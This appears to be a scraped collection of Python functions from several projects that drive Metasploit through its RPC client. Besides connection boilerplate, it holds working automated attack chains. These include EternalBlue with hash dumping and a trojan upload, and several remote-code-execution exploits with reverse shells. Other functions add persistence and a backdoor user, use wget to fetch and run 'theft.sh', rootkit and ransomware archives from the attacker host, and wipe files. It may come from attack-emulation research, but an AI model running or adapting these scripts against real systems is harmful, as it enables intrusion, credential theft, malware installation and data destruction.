class Metasploit: def __init__(self, password, user): print("[INFOS] Authentification to Metasploit (msfrpcd) ...") self._client = MsfRpcClient(password=password, port=55556) self._client.login(user=user, password=password) if self._client.authenticated: print("[SUCESS] Authentification MSFRPC SUCESS\n") else: print("[ERROR] Authentification ERROR !") self.console = MsfRpcConsole(self._client, cb=self.read_console) self.client_Isbusy = False self._time = time.time() def read_console(self, console_data): console_read = list() self.client_Isbusy = console_data['busy'] # print("Console State : " + str(self._console_busy)) if '[+]' in console_data['data']: sigdata = console_data['data'].rstrip().split('\n') for line in sigdata: if '[+]' in line: console_read.append(line) if 'Nmap done' in console_data['data']: # print("[INFOS] SCAN FINISHED !") self.client_Isbusy = False print(console_data['data']) def wait_client(self): while self.client_Isbusy: time.sleep(5) if (self._time - time.time()) > 220: self.client_Isbusy = False print("[INFOS] Timeout") continue def send_cmd(self, cmd): self._time = time.time() if self._client.authenticated and not self.client_Isbusy: self.console.execute(cmd) time.sleep(1) elif self.client_Isbusy: self.wait_client() self.console.execute(cmd) time.sleep(1) else: print("[ERROR] Client Was Not Authentificated !") def logout(self): print("[INFOS] Logout msfrpc client\n") self._client.logout()
def __init__(self, password, user): print("[INFOS] Authentification to Metasploit (msfrpcd) ...") self._client = MsfRpcClient(password=password, port=55556) self._client.login(user=user, password=password) if self._client.authenticated: print("[SUCESS] Authentification MSFRPC SUCESS\n") else: print("[ERROR] Authentification ERROR !") self.console = MsfRpcConsole(self._client, cb=self.read_console) self.client_Isbusy = False self._time = time.time()
def __init__(self, stdscr, menu_window, password, clientport=5000): # Curses Stuff (GUI) self.stdscr = stdscr self.menu_window = menu_window # newpad (Height, Width) self.full_height_out, self.full_width_out = stdscr.getmaxyx() self.output_window = curses.newpad(self.full_height_out * 100, self.full_width_out // 3 * 2) self.coordinate_dict = { 'output_x': self.full_width_out // 3, 'output_y': 0, 'output_max_y': self.full_height_out * 100, 'menu_x': 0, 'menu_y': 0, } # Console Status for what ever self.console_status = None self.data_frames = [] self.df = {} self.df = pd.DataFrame(columns=['Command', 'Result']) # Try to open a Client Connection and catch any possible error try: self.client = MsfRpcClient(password, ssl=False, port=clientport) self.console = MsfRpcConsole(self.client, cb=self.read_console) except requests.exceptions.ConnectionError: self.output_window.clear() self.output_window.attron(curses.color_pair(2)) self.output_window.addstr( 'Not possible to connect to Metasploit Client.\n') self.output_window.addstr( 'Please check if the RPCD Server is running!') self.output_window.attroff(curses.color_pair(2)) self.update_output_window() self.output_window.getch() sys.exit() except ConnectionRefusedError: self.output_window.clear() self.output_window.attron(curses.color_pair(2)) self.output_window.addstr( 'Connection to Metasploit Client was refused') self.output_window.attroff(curses.color_pair(2)) self.update_output_window() self.output_window.getch() sys.exit()
def main(argv): if len(argv) != 4: print("Usage: {} Folder local_ip target_ip".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'linux/local/service_persistence') payload = client.modules.use('payload', 'cmd/unix/reverse_python') exploit['SESSION'] = 1 exploit['VERBOSE'] = True payload['LHOST'] = my_ip time.sleep(2) output_time_file = 'time_stage_2_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) # print(client.sessions.list['2']) client.sessions.session('1').stop() client.sessions.session('2').stop() time.sleep(10) output_time_file = 'time_stage_2_end.txt' record_timestamp(folder, output_time_file) time.sleep(2)
def exploit(host): #攻击载荷构建 print('正在连接MSGRPC服务') time.sleep(10) client = MsfRpcClient('password') print('连接MSGRPC服务成功') print('开始构建攻击载荷') exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') print('windows/smb/ms17_010_eternalblue') exploit['RHOSTS'] = str(host) payload = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp') print('windows/x64/meterpreter/reverse_tcp') payload['LHOST'] = '192.168.186.129' print('设定攻击者ip地址:192.168.186.129') payload['LPORT'] = 4444 print('设定受害者回连端口:4444') exploit.execute(payload=payload) client.sessions.list print(client.sessions.list) # 查看session列表 number1 = input('选择session id:\n') shell = client.sessions.session(number1) print('攻击成功,读取目标hash') shell.write('hashdump') print('攻击载荷投递') shell.write('upload /root/Payloads/muma.exe c:\\') print('攻击载荷投递成功') time.sleep(10) shell.write('execute -f c:\\muma.exe)') print(shell.read())
def main(argv): if len(argv) != 4: print( "Usage: {} Folder local_ip target_ip duration flag_finish".format( argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] wipe_disk_folder = "/tmp" client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'multi/handler') payload = client.modules.use('payload', 'cmd/unix/reverse_python') payload['LHOST'] = my_ip time.sleep(2) output_time_file = 'time_stage_3_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) shell = client.sessions.session('4') shell.write('apt install wipe -y') time.sleep(30) shell.write("wipe -f {0}".format(wipe_disk_folder))
def connection_rpc(self): ''' Method used to establish a RPC Connection :return: ''' for i in range(0, 3): try: client = MsfRpcClient( self.service_rpc_password, port=int(self.service_rpc_port), ) console = MsfConsole(client) print(self.color_monitor.background_OKGREEN + "[*] Success in login" + self.color_monitor.background_ENDC) # store client and console you got self.console = console self.client = client break except Exception as e: print( self.color_monitor.background_FAIL + "[x] Failed to login : {}".format(str(e)), self.color_monitor.background_ENDC) # write a log about text = "{} Failed to log in MSFRPC server : {}".format( datetime.datetime.today().strftime("%d/%m/%Y %H:%M:%S"), str(e)) # self.json_and_data_monitor.write_log(self.json_and_data_monitor.datapath + '/log_file.log', # text) if self.client is None: raise Exception("Unable to connect to MSFRPC api")
def main(argv): if len(argv) != 4: print("Usage: {} Folder local_ip target_ip".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'linux/http/apache_continuum_cmd_exec') payload = client.modules.use('payload', 'linux/x86/meterpreter/reverse_tcp') exploit['RHOSTS'] = target_ip payload['LHOST'] = my_ip # start 1 output_time_file = 'time_stage_1_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) time.sleep(10) output_time_file = 'time_stage_1_end.txt' record_timestamp(folder, output_time_file) time.sleep(2)
def attackTarget(target): #os.system("msfconsole msf exploit\(handler\) > load msgrpc Pass=pa55w0rd") #os.system("msfrpcd -U user -P pass123") #os.system("msfrpcd -P yourpassword -S") client = MsfRpcClient('yourpassword', ssl=True) #time.sleep(20) print("above") #print(client.modules.exploits) # exploit/unix/webapp/wp_admin_shell_upload exploit = client.modules.use('exploit', 'linux/samba/trans2open') print(exploit.description) print(target) exploit['RHOSTS'] = target print(exploit.missing_required) payload = client.modules.use('payload', 'generic/shell_reverse_tcp') payload['LHOST'] = '192.168.56.108' print("------------------------------") print(payload.missing_required) #payload['ReverseAllowProxy'] exploit.execute() print(client.sessions.list) #shell = client.sessions.session('1') #shell.write('whoami') #print(shell.read()) print("below")
def main(argv): if len(argv) != 6: print("Usage: {} Folder local_ip target_ip".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] new_user_account = argv[4] new_user_password = argv[5] client = MsfRpcClient('kali') time.sleep(2) output_time_file = 'time_stage_2_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) shell = client.sessions.session('2') shell.run_with_output('shell', end_strs=None) # end_strs=None means waiting until timeout # shell.write('useradd -p $(openssl passwd -1 password) test') # cremetest:password shell.write('useradd -p $(openssl passwd -1 {0}) {1}'.format(new_user_password, new_user_account)) time.sleep(10) output_time_file = 'time_stage_2_end.txt' record_timestamp(folder, output_time_file) time.sleep(2)
def execute_exploit(request): if request.method == 'POST': # payload = request.POST['payload'] client = MsfRpcClient('pass', ssl=False) exploit = client.modules.use('exploit', request.session['exploit']) # request.session['command']+=f'set PAYLOAD {payload};' for i in exploit.missing_required: if i == 'RHOSTS': exploit[i] = request.session['IP'] request.session[ 'command'] += f"set RHOSTS {exploit[i]} ;set RPORT {request.session['port']}; " continue if i == 'SESSION': request.session['command'] += f"set SESSION {str(exploit[i])};" continue exploit[i] = request.POST[i] job_id = exploit.execute() cm = f"msfconsole -x '{request.session['command']};exploit;'" print(request.session['command']) os.system("gnome-terminal -- " + cm) return render(request, 'job_id.html', { 'job_id': job_id, 'client': client.sessions.list })
def setupParam(self, data_options=None): if data_options == None: self.messagebox.setText( "Critical Error: Please check the configuration of your attack" ) self.messagebox.setWindowTitle("Critical Error!") self.messagebox.exec() self.config_handler.ErrorWriteLogger( "Critical Error: Please check the configuration of your attack", self.LogBrowser) self.data_options = data_options #iterate for checking data_options for key, value in self.data_options.items(): if self.data_options[key] == None: self.messagebox.setText( "Critical Error: Please check the configuration of your attack" ) self.messagebox.setWindowTitle("Critical Error!") self.messagebox.exec() self.config_handler.ErrorWriteLogger( "Critical Error: Please check the configuration of your attack", self.LogBrowser) else: pass self.client = MsfRpcClient( password=self.data_options['metasploit_password'], port=self.data_options['metasploit_server_port']) self.cid = self.client.consoles.console().cid self.console = MsfConsole(self.client, self.cid)
def connect(self): print ("[*] Connecting to server:\n Host => %s,\n Port => %s,\n User => %s,\n " \ "Pwd => %s,\n SSL => %s\n" % (self.host, self.port, self.username, '*' * len(self.password), self.ssl)) # Login to msfrpcd server try: kwargs = { 'username': self.username, 'port': self.port, 'server': self.host, 'ssl': self.ssl } self.client = MsfRpcClient(self.password, **kwargs) print("[+] Successfully connected") except SSLError as msg: print("[-] SSL error: " + str(msg)) print( "[-] You probably have installed the wrong pymetasploit version try installing it from here: https://github.com/allfro/pymetasploit.git" ) return False except socket.error as msg: print("[-] Couldn't connect to server: " + str(msg)) return False except MsfRpcError: print("[-] Login failed. Wrong username or password") return False self.console = self.client.consoles.console().cid print(f"[+]Console ID: {self.console}")
def main(argv): if len(argv) != 4: print( "Usage: {} Folder local_ip target_ip duration flag_finish".format( argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'multi/handler') payload = client.modules.use('payload', 'cmd/unix/reverse_python') payload['LHOST'] = my_ip time.sleep(2) output_time_file = 'time_stage_3_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) shell = client.sessions.session('4') shell.write( 'wget --no-check-certificate http://{0}/downloads/theft.sh'.format( my_ip)) shell.write('chmod 755 ./theft.sh') shell.write('./theft.sh')
def option(request): # print(request.session['exploit']) client = MsfRpcClient('pass', ssl=False) exploit = client.modules.use('exploit', request.session['exploit']) return render(request, 'options.html', { 'missing': exploit.missing_required, 'desc': exploit.description, })
def main(argv): if len(argv) != 4: print("Usage: {} Folder local_ip target_ip duration".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali')
def connect_metasploit(self): try: self.client = MsfRpcClient('pass', port=55552) self.connection_made = True except: self.session_recorder.critical( "Connection Error: Please check Metasploit connection") self.connection_made = False
def __init__(self, password=""): logger.init() self.password = password try: self.client = MsfRpcClient(self.password, port=55553) self.cid = self.client.consoles.console().cid self.console = self.client.consoles.console(self.cid) except Exception as e: LOG.level = logging.CRITICAL logging.critical(C.FAIL + str(e) + C.ENDC)
def main(argv): if len(argv) != 4: print( "Usage: {} Folder local_ip target_ip duration flag_finish".format( argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'multi/handler') payload = client.modules.use('payload', 'cmd/unix/reverse_python') payload['LHOST'] = my_ip time.sleep(2) output_time_file = 'time_stage_3_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) shell = client.sessions.session('4') shell.write( 'wget --no-check-certificate http://{0}/downloads/EVIL_RABBIT.zip'. format(my_ip)) shell.write( 'wget --no-check-certificate http://{0}/downloads/Reptile.zip'.format( my_ip)) shell.write( 'wget --no-check-certificate http://{0}/downloads/randomware.zip'. format(my_ip)) shell.write('unzip EVIL_RABBIT.zip') shell.write('unzip Reptile.zip') shell.write('unzip randomware.zip') shell.write('chmod -R 777 EVIL_RABBIT') shell.write('chmod -R 777 Reptile') shell.write('chmod -R 777 randomware') shell.write('./EVIL_RABBIT/evil_config.sh') time.sleep(10) shell.write('./Reptile/rootkit_config.sh') time.sleep(10) # shell.write('tmppid=$(lsof -i :19999 | awk \'{print $2}\' | sed -n 2p)') # shell.write('/reptile/reptile_cmd hide $tmppid') shell.write( '/reptile/reptile_cmd hide $(lsof -i :19999 | awk \'{print $2}\' | sed -n 2p)' ) time.sleep(10) # ransomware shell.write('./randomware/randomware_config.sh')
def select_exploit(request, name): client = MsfRpcClient('pass', ssl=False) info = request.session["info"] if "info" in request.session else {} if request.method == 'POST': request.session['exploit'] = request.POST['exploit'] request.session['command'] = f"use {request.POST['exploit']} ;" return redirect('options') fil = list(filter(lambda x: name in x, client.modules.exploits)) return render( request, 'select_exploit.html', {'exploit': fil if len(fil) > 0 else client.modules.exploits})
def __init__(self, server, password='******', port=55553): """ Initialize a connection to msfrpc daemon of metasploit. Args: server (str): public IP/DNS of docker server instance. password (str): password that msfrpc daemon was deployed with. port (int): the port that msfrpc listens to. """ self._metasploit_client = MsfRpcClient(password=password, server=server, port=port) self._host_console = self._console
def __init__(self, targets_report_file_name): #Connects to the msf rpc client self.client = MsfRpcClient("supersecret") #Gets available msf console self.client_console = self._get_available_client_console() #Checks if msf console status is connected, if not connects and loads report results. self._intialize_database(targets_report_file_name) #Checks if initalisation is successful data = self.get_command_response("hosts") print(data)
def main_connection(): ''' @return: client and console if it succeeded or -1, -1 if it failed ''' # ip = "127.0.0.1" # user = "******" passwd = '1234LOL' try: client = MsfRpcClient(passwd, port=55552) console = MsfConsole(client) # print(client) except: client = -1 console = -1 return client, console
def main(argv): if len(argv) != 4: print("Usage: {} Folder local_ip target_ip".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'unix/irc/unreal_ircd_3281_backdoor') payload = client.modules.use('payload', 'cmd/unix/reverse_perl') exploit['RHOSTS'] = target_ip exploit['RPORT'] = 6697 payload['LHOST'] = my_ip payload['LPORT'] = 4444 # start 1 output_time_file = 'time_stage_1_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) # print(client.sessions.list['1']) exploit = client.modules.use('exploit', 'linux/local/docker_daemon_privilege_escalation') payload = client.modules.use('payload', 'linux/x86/meterpreter/reverse_tcp') exploit['SESSION'] = 1 payload['LHOST'] = my_ip payload['LPORT'] = 4444 # print('Start 2') exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) time.sleep(10) output_time_file = 'time_stage_1_end.txt' record_timestamp(folder, output_time_file) time.sleep(2)
def init_console(passwd): """ Inizializza il client e la console per la connesione a Metasploit. Restituisce l'oggetto console in caso di successo, False in caso di insuccesso. """ try: client = MsfRpcClient(passwd) console = MsfRpcConsole(client, cb=read_console) console.execute("load openvas") sleep(SLEEP_TIME) console.execute("openvas_connect admin admin 127.0.0.1 9390") return console except: return False
def vul_exp(ip, vul_list): list = [] try: client = MsfRpcClient('password', ssl=True) for vul in vul_list: cid = client.consoles.console().cid client.consoles.console(cid).write("search " + vul) exp = client.consoles.console(cid).read() exploit = client.modules.use('exploit', exp) exploit['RHOSTS'] = ip res = client.consoles.console(cid).run_module_with_output( exploit, payload='') if 'success' in res: list.append(vul) except Exception as e: print(e) return list
def main(): parser = argparse.ArgumentParser() parser.add_argument("--server", required=True) parser.add_argument("--verbose", required=False, default=False, action="store_true") args = parser.parse_args() global verbose verbose = args.verbose # server is provided -- Connect to it if args.server: ip = args.server[7:-5] # strip off http:// from beginning & :8888 at the end client = MsfRpcClient(server=ip, password='******') # start a server locally else: client = start_msf_server() start_sandcat(client, args.server)
def main(argv): if len(argv) != 4: print("Usage: {} Folder local_ip target_ip duration".format(argv[0])) folder = argv[1] my_ip = argv[2] target_ip = argv[3] client = MsfRpcClient('kali') exploit = client.modules.use('exploit', 'multi/http/rails_secret_deserialization') payload = client.modules.use('payload', 'ruby/shell_reverse_tcp') exploit['RHOSTS'] = target_ip exploit['RPORT'] = 8181 exploit['TARGETURI'] = '/' exploit['SECRET'] = 'a7aebc287bba0ee4e64f947415a94e5f' payload['LHOST'] = my_ip payload['LPORT'] = 4444 output_time_file = 'time_stage_1_start.txt' record_timestamp(folder, output_time_file) time.sleep(2) # print('Start 1') exploit.execute(payload=payload) while client.jobs.list: time.sleep(1) # print(client.sessions.list['1']) exploit = client.modules.use('post', 'multi/manage/shell_to_meterpreter') exploit['SESSION'] = 1 exploit.execute() while client.jobs.list: time.sleep(1) time.sleep(10) output_time_file = 'time_stage_1_end.txt' record_timestamp(folder, output_time_file) time.sleep(2)
def start_msf_server(): """ Turns on and connects to the Metasploit RPC Server :return: MsfRcpClient object from pymetasploit3 """ # check if server is already running with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: try: s.bind(('0.0.0.0', 55553)) s.close() # start msfrpcd server if verbose: print("Starting server") command = "/root/start_msfrpcd.sh" p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) sleep(10) finally: if verbose: print("Connecting to rpc server") return MsfRpcClient('password')
def __init__(self, username, password, host=DEFAULT_MSF_RPC_SERVER_HOST, port=DEFAULT_MSF_RPC_SERVER_PORT, use_ssl=DEFAULT_MSF_RPC_USE_SSL, dump_path=DEFAULT_DUMP_PATH, sleep_timer=DEFAULT_SLEEP_TIMER_IN_SECONDS): try: logging.info(f'Connecting to {host}:{port}') self.client = MsfRpcClient(server=host, port=port, username=username, password=password, ssl=use_ssl) logging.info('Connected to remote Metasploit RPC') self.dump_path = dump_path self.sleep_timer_in_seconds = sleep_timer except Exception as e: logging.error(f'Connection error: {e}') exit(1)